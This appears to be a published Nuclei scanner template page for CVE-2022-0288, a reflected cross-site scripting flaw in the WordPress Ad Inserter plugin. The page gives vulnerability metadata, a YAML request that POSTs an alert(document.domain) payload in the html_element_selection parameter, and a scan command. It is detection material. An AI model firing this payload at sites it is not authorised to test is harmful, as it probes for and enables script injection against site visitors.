WordPress Ad Inserter <2.7.10 - Cross-Site Scripting

ID: CVE-2022-0288

Severity: medium

Author: DhiyaneshDK

Tags: cve,cve2022,wordpress,xss,wpscan,ad_inserter_pro_project

Description

WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page.

YAML Source

id: CVE-2022-0288

info:
  name: WordPress Ad Inserter <2.7.10 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page.
  impact: |
    Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing attackers to execute malicious scripts in the context of the victim's browser.
  remediation: Fixed in version 2.7.12
  reference:
    - https://wpscan.com/vulnerability/27b64412-33a4-462c-bc45-f81697e4fe42
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0288
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0288
    cwe-id: CWE-79
    epss-score: 0.00106
    epss-percentile: 0.43227
    cpe: cpe:2.3:a:ad_inserter_pro_project:ad_inserter_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: ad_inserter_pro_project
    product: ad_inserter_pro
    framework: wordpress
  tags: cve,cve2022,wordpress,xss,wpscan,ad_inserter_pro_project

http:
  - method: POST
    path:
      - "{{BaseURL}}"

    body: |
      html_element_selection=</script><img+src+onerror=alert(document.domain)>

    headers:
      Content-Type: "application/x-www-form-urlencoded"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><img src onerror=alert(document.domain)>"
          - "ad-inserter"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202238f3b417e7c63a5167d6042852e41e1016724ebd336218f490ccd6d4f75f59022100c6eaf87f4e9eba1f1d8d8fccd36f7b8d305123ae71e00cd1d94350d343779a94:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0288.yaml"

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